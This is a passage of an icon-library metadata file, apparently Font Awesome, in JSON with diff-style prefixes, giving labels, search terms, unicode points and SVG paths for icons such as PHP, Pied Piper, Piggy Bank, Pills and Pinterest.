21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z" + } + }, + "free": [ + "solid" + ] + }, + "photo-video": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "av", + "film", + "image", + "library", + "media" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f87c", + "label": "Photo Video", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635635, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z" + } + }, + "free": [ + "solid" + ] + }, + "php": { + "changes": [ + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f457", + "label": "PHP", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861012, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z" + } + }, + "free": [ + "brands" + ] + }, + "pied-piper": { + "changes": [ + "4.6", + "5.0.0", + "5.0.10", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2ae", + "label": "Pied Piper Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539200, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z\" class=\"cls-1\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z" + } + }, + "free": [ + "brands" + ] + }, + "pied-piper-alt": { + "changes": [ + "4.1", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a8", + "label": "Alternate Pied Piper Logo (Old)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699930, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z" + } + }, + "free": [ + "brands" + ] + }, + "pied-piper-hat": { + "changes": [ + "5.0.10" + ], + "ligatures": [], + "search": { + "terms": [ + "clothing" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f4e5", + "label": "Pied Piper Hat (Old)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861013, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z" + } + }, + "free": [ + "brands" + ] + }, + "pied-piper-pp": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a7", + "label": "Pied Piper PP Logo (Old)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861013, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z" + } + }, + "free": [ + "brands" + ] + }, + "pied-piper-square": { + "changes": [ + "5.12.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e01e", + "label": "Pied Piper Square Logo (Old)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1573074807768, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z" + } + }, + "free": [ + "brands" + ] + }, + "piggy-bank": { + "changes": [ + "5.0.9", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "bank", + "save", + "savings" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4d3", + "label": "Piggy Bank", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635637, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z" + } + }, + "free": [ + "solid" + ] + }, + "pills": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "drugs", + "medicine", + "prescription", + "tablets" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f484", + "label": "Pills", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635637, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z" + } + }, + "free": [ + "solid" + ] + }, + "pinterest": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f0d2", + "label": "Pinterest", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861014, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z" + } + }, + "free": [ + "brands" + ] + }, + "pinterest-p": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f231", + "label": "Pinterest P", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861013, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 